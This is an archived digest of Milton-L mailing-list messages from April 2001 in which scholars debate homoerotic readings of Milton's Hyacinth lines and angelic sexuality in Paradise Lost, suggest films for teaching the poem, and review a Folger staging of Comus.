censorship? Or did Spenser just nod? In either case, why was only a half-line added? What might rhyme with ""yore,"" ""shore"" and ""gore""? To my mind, the Spenser analogue is very important to Milton's Hyacinth. It matters whether Hyacinth was a ""paramoure"" or a ""dearest love."" The former term, printed freely in both earliest editions, carries a burden of Christian morality. The latter phrase is much more generous. Is it too much to suppose that Milton's ""dearly loved mate"" is a conscious choice of ""dearest love"" over ""paramoure""? John Leonard From: Roy Flannagan [roy@gwm.sc.edu] Sent: Wednesday, April 18, 2001 8:22 AM To: milton-l@richmond.edu Subject: Angel blush Dear Norm, That is a good and legitimate question, whether one is entitled to call ""Celestial rosy red"" a blush, but I think I will stick with my note in the Riverside. Adam's question, about how angels do it (as it was indelicately but accurately stated a while back), is something of a rude question, and a blush is not necessarily a sign of guilt: it is an unconscious response which can indicate everything from outright pleasure to complicity to embarrassment. At PL 8.511, Eve is led ""blushing like the morn,"" and surely she is not guilty as Adam leads her to the bower. I do believe this is Milton being delicately cute, an occasion for the reader to laugh out loud to discover that an epic poet can have a sense of humor and make fun of angelic behavior. Roy F >>> nburns@binghamton.edu 04/17/01 04:26PM >>> At 07:56 AM 4/16/01 -0700, you wrote: > How do we know it is travestied? Because the angel, ""inhabitant with > God,"" _blushes_. >JD Fleming I have never been able to understand how easily so many scholars convert ""the Angel with a smile that glow'd Celestial rosie red, Loves proper hue"" [VIII, 618-19] into a ""blush,"" often with discussion that develops the idea that Raphael is embarrassed by Adam's forthrightness (see, for example, Roy's note in the Riverside). But it is a _smile_ (hardly the usual mark of shame or discomfort) and, what is more, the color is called _celestial_ and identified as the right color for Love. Are we meant to understand that blushing is proper for Love? Or should we think instead of the appearance of Love overseeing the nuptial bower, joyously erotic and unblushing? ""Here Love his golden shafts imploies, here lights His constant Lamp, and waves his purple wings, Reigns here and revels...."" [IV, 763-65] Can celestial love be less enthusiastic, more conflicted than its earthly counterpart? Raphael testifies to the contrary: ""Whatever pure thou in the body enjoy'st . . . we enjoy In eminence, and obstacle find none Of membrane, joynt, or limb, exclusive barrs...."" [VIII, 622-25] Doesn't sound embarrassed to me. --Norm Burns From: Norman Burns [nburns@binghamton.edu] Sent: Tuesday, April 17, 2001 5:23 PM To: milton-l@richmond.edu Subject: re: Paradise Lost and films Merely for a record of completeness, I should mention _The Sentinel_(1977). It has a half-dozen big-name players, but(as I recall) was disappointing. Uses Milton as a gimmick--an ancient priest is (for approximately eternity) doing Gabriel's job of keeping ""strict watch that to this happy place/No evil thing approach or enter in"" [PL, IV, 562-63], in this case protecting the fallen world from his vantage point at the top of the house. The PL lines are actually quoted (apparently to justify the premise of the film, as if they were written by Nostradamus), but there is nothing more Miltonic about the film, which remains a weak attempt to capitalize on the success of _The Exorcist_(1973). Further details on Internet Movie Database http://us.imdb.com/Title?0076683 --Norm Burns From: Larry Isitt [isitt@cofo.edu] Sent: Tuesday, April 17, 2001 11:56 AM To: milton-l@richmond.edu Subject: RE: gay angels? -- Hardly!! RE: John Leonard's extended defense of Milton's possible allusion to homosexuality in ""Fair Infant"" John's assertion that ""meaning can be determined by context"" is clearly the baseline departure for interpretation and one with which I am in complete agreement. But I would like to widen his stated context in his dealing with the poem in view. Let me agree that Milton is sensitive to male beauty and that he knows the sexual background John presents us in his handling of the the Apollo-Hyacinthus section of the poem. I assert that in order for this to be read as homosexuality, even glancingly, it would have to have a wider corresponding context than that John suggests: 1) The beauty in question is not that of a full-grown male, but of an infant's. The corresponding point of Apollo-Hyacinthus cannot therefore be stressed as to its emphasis on maleness or on relations between males, since to do so ruins the infant pictured and substitutes an unwarranted beauty Milton may well have not had in mind. 2) The more likely correspondence in the Apollo section is to the flower itself, to its corresponding beauty with that of the infant. This preserves the delicate beauty of all other sections in the poem and offers a much greater correspondence to the overall context of a sad early death. 3) ""Hyacinthus is the pride of Spartan land in the sense of being Sparta's most beautiful youth. Does anyone seriously doubt this?"" No, I do not doubt this. What I doubt is that it points toward a secret homosexual reference and for the reasons I have given. If, in the midst of a poem about an infant's tragic death we suddenly are to have inserted into our heads even a slight picture of homosexual activity, I say that that is poetically inconsistent and not at all a necessary extrapolation from the myth Milton is using to other purpose. Larry Isitt English Dept. College of the Ozarks Point Lookout, MO 65726 417-334-6411, Ext. 4269 email: isitt @ cofo.edu -----Original Message----- From: owner-milton-l@richmond.edu [mailto:owner-milton-l@richmond.edu]On Behalf Of John Leonard Sent: Thursday, April 12, 2001 10:11 AM To: milton-l@richmond.edu Subject: Re: gay angels? -- Hardly!! . > RE: John Leonard's suggestion concerning ""Hyacinth"" as indicator of possible > homosexuality. > > Are we also prepared,given this heading, to make a homosexual of Adam whose > ""Hyacinthin Locks"" were ""manly hung"" about his head? (PL 4.301-02) Again, I > doubt it. > Larry is obviously right about Adam. Of course ""Hyacinthin Locks"" does not imply homosexuality. It is an echo of Odyssey 6. 231, where Odysseus' hair flows like a hyacinth flower. The reference is probably to colour. But the case is different in the lines I quoted from Fair Infant. Here the reference is most certainly to Apollo's love for the beautiful youth Hyacinthus. Lest anyone doubt this, let me cite the lines in context: Yet art thou not inglorious in thy fate; For so Apollo, with unweeting hand Whilom did slay his dearly-loved mate Young Hyacinth born on Eurotas strand Young Hyacinth the pride of Spartan land. ""Mate"" there might mean nothing more than ""companion"" (as when Satan calls to his ""neerest Mate""), but the other sense ""lover, paramour"" did exist and is attested in 17th century English (see OED). Hyacinth was Apollo's mate in both senses (""G'day mate""). Milton does not spell this out (""dearly-loved"" is not conclusive), but the lines are suggestive. Now to ""pride."" ""Orpheus"" (""Woods and Rocks had Eares to rap-to-ya"") rightly takes me to task for my rash comment that ""pride"" might have something of its modern gay resonance. He mockingly suggests that the real reference is to a pride of lions. I think most of us would agree that ""pride"" here means ""the prime; the flower""(OED 9a) and that Hyacinthus is the pride of Spartan land in the sense of being Sparta's most beautiful youth. Does anyone seriously doubt this? My point in drawing (an admittedly inept) comparison with the modern gay use of ""pride"" was that Milton's ""pride"" also has a social dimension. The reference is not only to Hyacinthus's beauty, but to the Spartan festival of the Hyacinthia in which ephebes would sing praises to Apollo. I still think that this is plausible, even probable. Milton would have known about Spartan festivals, which are described by Plutarch and Xenophon, among others. None of this proves anything about Milton's sexual preferences. Let me be clear: I have no doubt whatever that Milton always liked women. But there are many hints in the poems that he was also sensitive to male beauty. Maybe I am wrong about this, but I am not wrong for the reason Larry gives. My point about ""Young Hyacinth"" is not demolished just because Larry can quote another reference to Hyacinth which is clearly free from homoerotic associations. The erotic and social nuances of ""pride"" are not cancelled just because ""Orpheus"" reminds us that we can speak of a pride of lions. Yes, signs are iterable, but meaning can be determined by context. In the lines from ""Fair Infant"", Young Hyacinth is the Hyacinthus loved by Apollo. He is the ""pride of Spartan land"" because of his beauty, and because his fate is commemorated in public festivals. John Leonard From: Derek Wood [dwood@stfx.ca] Sent: Tuesday, April 17, 2001 2:33 PM To: milton-l@richmond.edu Subject: Re: gay angels Orpheus wrote: > On the other hand, it might just mean pride as in a pride of lions. > > ----- > ""Pride"" here might even have something like its > > modern gay resonance. Milton could hardly have been insensitive to its contemporary sexual resonance especially when writing of a ""dearly loved mate."" A recent copy of the Oxford alumni magazine, in all its Oxonian innocence, had an article entitled in huge, bold type, ""GOING DOWN,"" not a likely headline in a North American journal. Milton had read Shakespeare's flesh stays no farther reason But rising at thy name doth point out thee As his triumphant prize. Proud of this pride, He is contented thy poor drudge to be, To stand in thy affairs, fall by thy side. No want of conscience hold it that I call Her 'love' for whose dear love I rise and fall. In Lucrece, 'The flesh being proud, Desire doth fight with Grace.' Its less fleshly but still carnal sense was common: in Othello's 'as hot as monkeys, As salt as wolves in pride...,' or Boyet's 'Proud with his form, in his eye pride expressed,' or the Dark Lady's 'foul pride' which aimed to get 'one angel in another's hell.' In his History, Milton writes of 'Danish Insolencies' of 'thir pride, thir ravishing of Matrons and Virgins' (CP 5: 340) and and in Of True Religion, he thunders against the nation's depravity, its 'Pride, Luxury, Drunkenness, Whoredom' (CP 8: 438) where the sexual overtones seem important. The Oxford journalist was innocent of the North American resonance of her phrase; Milton was surely aware of the resonance of his in an allusion to male love. Best wishes, Derek Wood. St. Francis Xavier University. From: Norman Burns [nburns@binghamton.edu] Sent: Tuesday, April 17, 2001 4:27 PM To: milton-l@richmond.edu Subject: Re: gay angels At 07:56 AM 4/16/01 -0700, you wrote: > How do we know it is travestied? Because the angel, ""inhabitant with > God,"" _blushes_. >JD Fleming I have never been able to understand how easily so many scholars convert ""the Angel with a smile that glow'd Celestial rosie red, Loves proper hue"" [VIII, 618-19] into a ""blush,"" often with discussion that develops the idea that Raphael is embarrassed by Adam's forthrightness (see, for example, Roy's note in the Riverside). But it is a _smile_ (hardly the usual mark of shame or discomfort) and, what is more, the color is called _celestial_ and identified as the right color for Love. Are we meant to understand that blushing is proper for Love? Or should we think instead of the appearance of Love overseeing the nuptial bower, joyously erotic and unblushing? ""Here Love his golden shafts imploies, here lights His constant Lamp, and waves his purple wings, Reigns here and revels...."" [IV, 763-65] Can celestial love be less enthusiastic, more conflicted than its earthly counterpart? Raphael testifies to the contrary: ""Whatever pure thou in the body enjoy'st . . . we enjoy In eminence, and obstacle find none Of membrane, joynt, or limb, exclusive barrs...."" [VIII, 622-25] Doesn't sound embarrassed to me. --Norm Burns From: Justin Pepperney [pepperney.3@osu.edu] Sent: Tuesday, April 17, 2001 10:12 AM To: milton-l@richmond.edu Subject: PL and films I missed the origin of this thread, but I wanted to mention that a fellow TA had some success teaching PL with the original Star Trek episode ""Space Seed"" as part of his early Brit. Lit. survey. In this episode, Khan (Ricardo Mantalban), an escaped, genetically engineered totalitarian leader from ""Earth's Third World War"" wakes from suspendend animation and tries to take over the Enterprise. Kirk's misquoting of Milton: ""better to rule in hell than serve in heaven"" tips off the viewer that Khan is modelled on Satan in Books I&II. Although today's undergraduate students might not be as familiar with classic Star Trek as their predecessors, it is a good teaching opportunity and a great Miltonic moment in pop culture. You can read more about ""Space Seed"" at: http://www.startrek.com/library/episodes_tos_detail.asp?ID=68708 Justin From: owner-milton-l@richmond.edu Sent: Wednesday, April 18, 2001 6:32 AM 2001 07:16:55 PDT Date: Tue, 17 Apr 2001 07:16:55 -0700 (PDT) From: Erin Murphy Subject: Re: Paradise Lost and films? To: milton-l@richmond.edu In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-milton-l@richmond.edu Precedence: bulk Reply-To: milton-l@richmond.edu The recent film The Loss of Sexual Innocence, directed by Mike Figgis, is interesting in its own right, if at times pretentious, and reimagines provocatively both Eve's birth scene and the final moments of the poem (Adam and Eve are driven out of their paradisal park by police and barking dogs, only to be surrounded by oglers and paparazzi as they struggle to pull on their clothes.) I've taught these scenes once, and the students were able to do some wonderful work with them. The only hitch is there is nudity, so the appropriateness would, as always, depend on the audience. Good luck, Erin Murphy Rutgers University __________________________________________________ Do You Yahoo!? Yahoo! Auctions - buy the things you want at great prices http://auctions.yahoo.com/ From: Larry Isitt [isitt@cofo.edu] Sent: Tuesday, April 17, 2001 10:59 AM To: milton-l@richmond.edu Subject: RE: Gay Angels? -- Hardly! Bill Hunter writes: >For Larry Isett, et al., >Please before you continue the debate read the evidence I have presented in >Milton Quarterly, 34 (October 2000), 98-99. Then respond to it. Dear Bill, Of course you are right to object on the principle that I should argue from evidence; I would not willingly ignore or minimize any of your articles or books relevant to this subject in order to make a convenient debate point. It would be sloppy and irresponsible of me to do so. And if I could locate my missing copy of MQ 34.3 (Oct 2000) I would consult it now to rejoin your points(I have March, May, and Dec issues, but not Oct at hand). That point acknowledged, I must return to your online statement regarding angelic sex, for it is to that online assertion that I made my online rejoinder. You write: ""Angels have sex. They are all males; heaven is populated by actively gay angels."" It seems to me that on the face of these words of yours I have not been unfair in responding as I have. You use the modern word ""gay,"" with its associated modern denotation, and do so knowing that it conjures a heaven of millions upon millions of copulating angels backsiding one another in rapturous orgiastic joy before the throne of Milton's holy God. This is not, of course, how Milton puts angelic relations through Raphael, but it is how we may fairly take your assertion of angelic gayety. If angels have sex, are all males, and are all gay, how else are we to take your assertion but in our modern sense? It is to your insertion of modern gayness into Milton's epic that I do alone object, however else you wish to take Raphael's response to Adam (PL 8.618-30) or other evidence. I reassert my central point made in my previous post: The Bible is Milton's very warrant to breathe, since it is from God; and in it God utterly denounces homosexual and lesbian sex (Lev 20:13; Rom 1:26-27, to name but two passages). He would not willingly contradict it, nor could he possibly have made a mistake in speaking as he has of angelic sex. As you have called upon me and others to consider your evidence, so I would return the same charge to you regarding Milton's life and high regard for the Bible as the center of his existence and practices. If we ignore this Milton and instead take your lead and posit a gay heaven, we must perforce posit a winking, leering Milton laughing at his own sardonic joke on us. Is there some other word besides ""gay"" that you would now wish to substitute in your online statement to clarify your remarks? If not, and you wish to still stand by this word as a fair assertion of Milton's intentions regarding angelic sex, then I would ask you why it is that Milton would so utterly degrade his own grand argument to ""justifie the wayes of God to men"" by fielding legions of lecherous angels, knowing well, as he did, that he had no Biblical warrant to do so and that his own readers would condemn all of his efforts to defend a God who would put up with the practice? His holy God could not in this event possibly judge Adam and Eve for fruit-picking when his own good angels are degrading themselves before his very throne of dazzling holy light. I conclude, then, by saying that to me your remarks online appear anachronistic since they make Milton an advocate of a practice foreign to his Bible, foreign to England's laws, and foreign to the stated logic of Paradise Lost itself to vindicate a holy God. I must admit, however, that I cannot tell from your brief online comment whether you mean ""gay"" in our sense absolutely or whether in twinkling merriment from an extrapolation you were making of some article where you may have spoken in more guarded terms. Larry Isitt English Dept. College of the Ozarks Point Lookout, MO 65726 417-334-6411, Ext. 4269 email: isitt @ cofo.edu -----Original Message----- From: owner-milton-l@richmond.edu [mailto:owner-milton-l@richmond.edu]On Behalf Of whunter Sent: Saturday, April 14, 2001 6:36 AM To: milton-l@richmond.edu Subject: Angelic Sex From: JBMorgaine@aol.com Sent: Tuesday, April 17, 2001 9:38 AM To: milton-l@richmond.edu Subject: Re: Paradise Lost and films? While I'll admit that _South Park, The Movie: Bigger, Longer, and Uncut_ is NOT the usual sort of film shown in classrooms, Trey Parker and Matt Stone constructed a wonderfully Miltonesque song for their animated Satan in which he longs to be a part of the world ""Up There."" Other themes currently of interest to the list, namely daemonic sexuality, are also explored in this character with real irreverence and very little taste. Julie Bruneau From: AntiUtopia@aol.com Sent: Monday, April 16, 2001 12:21 PM To: milton-l@richmond.edu Subject: Re: gay angels? -- Hardly!! In a message dated 04/16/2001 7:53:31 AM Eastern Daylight Time, gilliaca@jmu.edu writes: > And where, one may ask, did ""Somewhere Over the Rainbow"" > come to be a gay themesong,if not because JM's angels also > sang it?! > > Cynthia, friend of Dorothy, as they used to say - and maybe > You know the next step, right? To start going through Milton's PL and start looking for Streisand and Dorothy references? Angels live outside of time, do they not? Jim From: Hardin, Richard F [rhardin@ukans.edu] Sent: Monday, April 16, 2001 12:59 PM To: 'milton-l@richmond.edu' Subject: RE: Performance of masque at Folger This message uses a character set that is not supported by the Internet Service. To view the original message content, open the attached message. If the text doesn't display correctly, save the attachment to disk, and then open it using a viewer that can display the original character set. From: jfleming@sfu.ca Sent: Monday, April 16, 2001 10:57 AM To: milton-l@richmond.edu Subject: Re: gay angels I wonder if this discussion is not missing the humor of the relevant moment in _PL_ and the ineffability of the subject in question. Raphael, list members will recall, is induced to speak of angelic sexuality only after having scolded Adam, perhaps excessively, for the latter's susceptibility to passion. Adam offers a gentle correction to Raphael's correction, followed by the smooth and surprising counter-inquiry ""how do you guys do it"" (in so many words). As far as I can tell this is the only instance in Adam's two long tutorials (with Raphael and Michael) where the student really turns the tables on the teacher, putting him off balance and allowing the paradisal colloquy to be momentarily travestied. How do we know it is travestied? Because the angel, ""inhabitant with God,"" _blushes_. He then begins his answer with ""Suffice thou think us happy,"" a typical Miltonic erasure-in-advance: it is not really possible to ""say,"" even in UNfallen earthly terms, whether/how ""angels"" have ""sex."" The classical homosocial vision R then offers is, in part, a sign of its own insufficiency. JD Fleming From: sarah cohen [thesheck@hotmail.com] Sent: Monday, April 16, 2001 3:04 PM To: milton-l@richmond.edu Subject: Re: Paradise Lost and films? Far from a great film but interesting in its borrowings is ""Devil's Advocate"" with Al Pacino playing the Devil in the guise of lawyer named John Milton. I would think students would get a kick out of the actors and its effects but the notions of free will and sin is an interesting one. Sarah Cohen >From: Kimberly Latta >Reply-To: milton-l@richmond.edu >To: milton-l@richmond.edu >Subject: Re: Paradise Lost and films? >Date: Fri, 13 Apr 2001 09:47:47 -0400 > >How about that crazy film that came out recently--what was it called--about >the two fallen angels who are trying to slip back into heaven through a >loophole, and Alannis Morissette as God? I thought it borrowed from Milton >heavily and shed some interesting light on why we tend to sympathize with >Satan in the poem. >Kimberly > > > From: ""Burbery, Timothy"" > > Reply-To: milton-l@richmond.edu > > Date: Thu, 12 Apr 2001 17:38:47 -0400 > > To: ""'milton-l@richmond.edu'"" > > Subject: Paradise Lost and films? > > > > > > Dear List: > > > > I'm wondering if anyone can recommend any films, new or old, that can help > > illuminate Paradise Lost in the classroom. Next week, I'll show my students > > a portion of Triumph of the Will (1935), with Hitler presiding over the > > Nuremburg rallies, as a rough analogue of Satan summoning the fallen angels > > in Book 1. I've also considered having them view the scenes from Alexander > > Nevsky that Eisenstein supposely based on the War in Heaven, though this is > > an old film and I don't have a good print of it. > > > > Are there other films you could recommend that contain thematic or visual > > motifs that correspond, somewhat, to scenes from PL? > > > > Thanks, > > > > Tim Burbery > > Marshall University > > > > > > > ---------- Get your FREE download of MSN Explorer at http://explorer.msn.com From: Roy Flannagan [roy@gwm.sc.edu] Sent: Monday, April 16, 2001 8:51 AM To: milton-l@richmond.edu Subject: Re: Performance of masque at Folger id f3GCrct00472 Sender: owner-milton-l@richmond.edu Precedence: bulk Reply-To: milton-l@richmond.edu Some questions to come out of various comments on the performance at the Folger: Should Comus be a dirty old man, a suave seducer, or a flirtatious and perhaps even tipsy Bacchus? Should the ugly-headed monsters be dirty dancers? Should the aristocrats in the audience join in the dance, somehow? Should the audience laugh, at any point? Should Comus even be allowed to take a bow at the end? After all, isn't he banished? Isn't he evil? Isn't he socially beneath the Bridgewaters? Shouldn't he just get the hell out of there? Is it wrong to call the Attendant Spirit the Demon, at least with a modern audience who might have a hard time with ""daimon"" or ""genius loci""? How about Thyrsis (Sara Vandenburg's silent correction) or just Attendant Spirit? Isn't he a kind of Platonic angel? Cheers, with mischief, Roy Flannagan From: Steven M Biberman [smbibe01@athena.louisville.edu] Sent: Monday, April 16, 2001 10:03 AM To: milton-l@richmond.edu Subject: Re: gay angels Greetings: On the general subject of sexuality as handled in literary studies see Valerie Traub's ""Recent Studies in Homoeroticism"" in ELR in the Spring 2000 issue. On the subject of Chaucer's Pardoner in relation to this issue see Steven F. Kruger's ""Claiming the Pardoner"" (Exemplaria 6 [1994]). As an instance of scholarship on this subject moving beyond ""the more academic debate between acts and identities [, one that] may have posed two unrealistically simple alternatives"" see the essay collection _Constructing Medieval Sexuality_ (1997). For an argument that negotiates ""modernist historiography's crude periodization"" in positing the Middel Ages as ""absolutely other"" see Carolyn Dinshaw's Getting Medieval (1999). Cheers, Matthew Biberman From: John Leonard [jleonard@uwo.ca] Sent: Tuesday, April 17, 2001 7:51 AM To: milton-l@richmond.edu <3AD70E27.F59D7E5A@ilstu.edu> Subject: ""in fact"" (was Re: gay angels) Date: Mon, 16 Apr 2001 10:21:25 -0400 MIME-Version: 1.0 Sender: owner-milton-l@richmond.edu Precedence: bulk Reply-To: milton-l@richmond.edu NB. Always be suspicious when someone prefaces a statement with ""in fact"". Beware the rhetoric! Carrol Cox writes > . -- in fact, no one was ever a > heterosexual until homosexuals became a recognized social category. > Carrol, how can you say this (""no one was ever"") in the very same message in which you append my quotation from Plato's Symposium? Did you read the passage? Aristophanes clearly does distinguish four categories (men who like men, women who like women, women who etc). These are not just ""specific acts."" Aristophanes is talking about sexual preferences. It is powerful dogma indeed that can blind critics to the evidence under their noses. But maybe your point is that sexual preferences were not ""social"" until modern times. You continue: > While the OED doesn't support this (or negate it) I would say that > ""sodomist"" named a person who had committed a specific act, not someone > whose role in the world was defined by that one restricted area of his > activity. No one could speak of the ""sodomist lifestyle."" > This antithesis is very rough and ready: either ""a specific act"" (as in ""anyone fancy a bit of sodomy today?"") or ""someone whose role in the world was defined by that one restricted area of his activity."" Can't there be something in between? Would *any* gay person, even today, appreciate being told that his (if it is not her) whole ""role in the world [is] defined by that one restricted area of his activity""? (""Hey, Bart, how's it going, buddy? How's the gaiety, mate? Your 'role in the world still defined by that one restricted area of your activity?'""). When you define the terms as crudely as that, of course they will fail to fit (mercifully). The point is that people can have consistent sexual preferences even when these are unattached to a particular social culture or sub-culture. This is especially true of previous centuries, when anti-sodomy laws inhibited the public expression of forbidden sexual preferences. But one can make the case more strongly than this. Despite the anti-sodomy laws (and maybe even because of them), same-sex love *was* associated with particular institutions in earlier centuries. Witness the Knights Templar. This once proud order was crushed in the early 14th-century (its Grand Master burned at the stake) because it was deemed to have practised and nurtured ""the 'sodomist lifestyle.'"" Whether or not the charges were founded (and some historians think they were), the fact that they were *deemed* to be well-founded is significant for our argument. And, yes, ""sodomy"" in this context did mean men loving men. Even the word ""bugger"" (from French *bougre*) originally identified a social group--though one which once had a wider role in the world than that ""one restricted area"" to which they have bequeathed their name. John Leonard From: Virginia Gillese and Robert Wiznura [gillese@planet.eon.net] Sent: Monday, April 16, 2001 10:57 PM To: milton-l@richmond.edu Subject: RE: gay angels? -- Hardly!! Dear Scott, At the risk of writing a response that will appear overly scholastic, I think one can safely assume that Aquinas would reject sexuality in the angelic chorus for the following reasons: 1. Matter is the principle of individuation for Aquinas. An angel, however, is uninvolved with matter according to Aquinas; it has a formal but not a material cause. Therefore, Aquinas holds that there can be no species of angels. Every angel is a species of one. 2. a. ""Sensation is entirely a vital function. Consequently it can in no way be said that the angels perceive through the organs of their assumed bodies. Yet such bodies are not fashioned in vain; for they are not fashioned for the purpose of sensation through them, but to this end, that by such bodily organs the spiritual powers of the angels may be made manifest; just as by the eye the power of the angel's knowledge is pointed out, and other powers by the other members, as Dionysius teaches (Coel. Hier.)"" b. ""Properly speaking, the angels cannot be said to eat, because eating involves the taking of food convertible into the substance of the eater."" c. ""As Augustine says (De Civ. Dei xv): ""Many persons affirm that they have had the experience, or have heard from such as have experienced it, that the Satyrs and Fauns, whom the common folk call incubi, have often presented themselves before women, and have sought and procured intercourse with them. Hence it is folly to deny it. But God's holy angels could not fall in such fashion before the deluge. Hence by the sons of God are to be understood the sons of Seth, who were good; while by the daughters of men the Scripture designates those who sprang from the race of Cain. Nor is it to be wondered at that giants should be born of them; for they were not all giants, albeit there were many more before than after the deluge."" Still if some are occasionally begotten from demons, it is not from the seed of such demons, nor from their assumed bodies, but from the seed of men taken for the purpose; as when the demon assumes first the form of a woman, and afterwards of a man; just as they take the seed of other things for other generating purposes, as Augustine says (De Trin. iii), so that the person born is not the child of a demon, but of a man."" (ST Ia, 51, 3) 3. ""I answer that, As the Philosopher says (Rhet. i, 11), ""concupiscence is a craving for that which is pleasant."" Now pleasure is twofold, as we shall state later on (31, 3,4): one is in the intelligible good, which is the good of reason; the other is in good perceptible to the senses. The former pleasure seems to belong to soul alone: whereas the latter belongs to both soul and body: because the sense is a power seated in a bodily organ: wherefore sensible good is the good of the whole composite. Now concupiscence seems to be the craving for this latter pleasure, since it belongs to the united soul and body, as is implied by the Latin word ""concupiscentia."" Therefore, properly speaking, concupiscence is in the sensitive appetite, and in the concupiscible faculty, which takes its name from it.""(ST Ia, IIae, 30, 1) Given #1, sexuality would involve sexuality of different species, unlikely to be endorsed given Aquinas's view on natural law. Given #2, regarding angelic ""bodies,"" and #3, regarding human concupiscence, desire for sexual union seems difficult to comprehend. One needs a body to feel sexual desire, and, according to Aquinas, angels don't really have bodies. In short, Milton's understanding of the angels is a sharp departure from the tradition of Aquinas. Robert Wiznura -----Original Message----- From: owner-milton-l@richmond.edu [mailto:owner-milton-l@richmond.edu]On Behalf Of Cobelli@aol.com Sent: Friday, April 13, 2001 6:26 AM To: milton-l@richmond.edu Subject: Re: gay angels? -- Hardly!! Dear List: It would be interesting to see if anyone can come up with responses to my query about Aquinas' views about angels experiencing natural love (of either orientation?!), and what this could mean as a context for Milton's views about angelic behavior. Now the fallen angels of course had sexual urges and acted upon them (Biblical references, Old Testament Pseudipigrapha (Books of Adam and Eve), the Midrash on Genesis, and then there is Byron's incomplete play Heaven and Earth (which, incidentally has some wonderful lyrical choric passages)), so would this imply that in their unfallen state they perhaps had natural love, but love free from concupiscence? Scott Grunow Editor-in-Chief Office of Publications Services University of Illinois at Chicago scottgr@uic.edu (312) 996-3324 From: Cynthia A. Gilliatt [gilliaca@jmu.edu] Sent: Monday, April 16, 2001 8:23 AM To: Milton-l list Subject: Re: RE: gay angels? -- Hardly!! You GO, Robert! Cynthia -- JMU SAFE ZONES PARTICIPANT Cynthia A. Gilliatt English Department MSC 1801 James Madison University Harrisonburg VA 22807 gilliaca@jmu.edu http://raven.jmu.edu/~gilliaca/ 540-568-3762 or 6202 From: Carrol Cox [cbcox@ilstu.edu] Sent: Friday, April 13, 2001 10:33 AM To: milton-l@richmond.edu Subject: Re: gay angels John Leonard wrote: > > > > The argument that what we now call ""sexual orientation"" (horrible term) > did not exist in previous epochs is very fashionable these days, as is > the argument that our ancestors did not think of themselves as ""the > subject."" Try it this way. Many people today eat ice cream cones -- but there is no social category of ""cone-eaters."" Many people in the past had sexual relations both with the opposite sex and with their own sex but there was no social category of bisexuals. Many people in the past had sexual relations only with the opposite sex, but neither they nor others thought of them as heterosexuals -- in fact, no one was ever a heterosexual until homosexuals became a recognized social category. While the OED doesn't support this (or negate it) I would say that ""sodomist"" named a person who had committed a specific act, not someone whose role in the world was defined by that one restricted area of his activity. No one could speak of the ""sodomist lifestyle."" Incidentally, if angelic sex consists of complete interpenetration, how could one tell ""gay sex"" from ""heterosex,"" since neither would involve distinct organs? And in any case, the most interesting feature of angelic sex is that it suggests that Milton's angels like Dickens's Londoners were abstract individuals who had private lives independently of the heavenly chorus. It is rather difficult to imagine Dante's angels even having a private conversation or going on a sightseeing tour, let alone having sex. Carrol Cox This is obviously a huge and complex topic, and I have no > wish to get into it. I readily agree that the *terms* were different, > and had different nuances. But the idea that our ancestors did not have > sexual preferences--that rings false to me. Remember censorship! It > would be a brave homosexual/sodomite (what you will) who opened his > heart and mouth in renaissance Europe. But Greece is different. Those > who think that the notion of sexual preference was unknown before the > 20th century should re-read Aristophanes's speech in Plato's Symposium > (191-192). Aristophanes very clearly divides the human race into four > groups: > > 1) ""Men who are . . . lovers of women"" > 2) ""women who lust after men"" > 3) ""women who have . . . female attachments"" > 4) ""they who are a section of the male . . . and hang about men"" > (trans. Jowett 318) > > There are differences from today. Aristophanes's groups 1 and 2 are > specifically called ""adulterers"" (one wonders how, and whether, marriage > fits into this scheme). But Plato clearly was aware that some men like > women, some men like men, some women like women, some women like men. > This sounds rather like ""modern categories of sexuality"" to me. > > John Leonard From: Sara van den Berg [vandens@SLU.EDU] Sent: Saturday, April 14, 2001 2:13 PM To: Neil Forsyth Cc: milton-l@richmond.edu Subject: Re: Performance of masque at Folger I was fortunate enough to attend the performance of Comus and the conference the next day. I had never seen a performance of the masque before, although I had seen several performances of various Jonsonian masques. The costumes were all in the same fabric--a fortuny-like pleated iridescent fabric in different colors. The choice was not entirely flattering to several of the characters, especially the actor who played Thyrsis. He was probably the least successful cast member. Several people commented that he did not speak verse very well. However, I came away thinking that Milton's expository blank verse at the beginning of the masque was clearer narrative than it seems when I read it silently. The Lady was a very appealing young woman who looked the part, and who spoke the verse feelingly. She was not, however, effective in the song to Echo. The actor who played Comus didn't seem ""slimy"" to me, and in fact there was some controversy during the conference about how that part should be played. Most people thought he should seem (and was, in this case) clever and seductive. The two brothers seemed quite good, at least to me. They were strapping young men, obviously too old for the part, but were able to differentiate their positions during their dialogue. The best moment in Thyrsis's portrayal came when he acted ""like a typical teacher"" and criticized the brothers for not capturing Comus and breaking his wand. He was appropriately annoyed. The singer who played Sabrina was the most overwhelming voice, and I know that several local audience members were there especially to hear her. The Washington Post article mocked the performance as a kind of Miltonic sitcom. I don't think the review was fair. There was laughter, but I think there probably was in Milton's day as well. There were one or two moments of humor that were intended by the cast, and that people remarked as novel (e.g., a comic emphasis on the word ""mud""--check it out in the text). There was quite a bit of discussion about the dancing. At the beginning, Comus's group had animal heads and were quite lascivious. The director spoke the next day about the dances that ended the masque. He decided not to end the masque with any dance involving the audience (e.g., by ""planting"" dancers in the audience who could be brought up on stage). Instead, one of the female dancers ""flirted"" with the Younger Brother and drew him into the dance. That move seemed quite effective to me. More controversial was the decision to bring Comus on stage to join the dancers as the Lady's partner. The musicians seemed excellent to me, and I was glad to hear Lawes' music played on historical instruments. The musicians sat in the gallery above the stage. Sara van den Berg Neil Forsyth wrote: > id f36GGst08929 > Sender: owner-milton-l@richmond.edu > Precedence: bulk > Reply-To: milton-l@richmond.edu > > Hello Stella > > A former student of mine sent me this account of the masque. (There was > also a harsh review in the Washington Post, it seems, perhaps for march 24.) > > I forgot to tell you about the one thing I most wanted to > tell you about. I saw Comus at the Folger Shakespeare Theatre last Saturday! I > bet you're fiercely jealous. I must say that it was by far the best Comus I've > ever seen. But at the same time, it was also by far the worst Comus I've ever > seen. It was quite amateurish (as it should be, you may think, since it would > originally have been performed by amateurs), most actors fighting a losing > battle > with Milton's beautiful language. Sabrina, by contrast, was rather too much > of a > professional, a heroine with an operatic voice straight out of a Wagner opera > (Br�nhilde!). It was quite comic. Predictably, the theme of chastity raised > more > laughs than Milton intended which didn't make the actors' job any easier. > Disappointingly, there was rather less music and dancing than I had > expected. All > in all, having gotten free tickets, I quite enjoyed the spectacle despite its > flaws, but those who bought tickets for $35 or $40 understandably felt > somewhat > cheated. > > Best wishes > > Neil > > Neil Forsyth > Facult� des 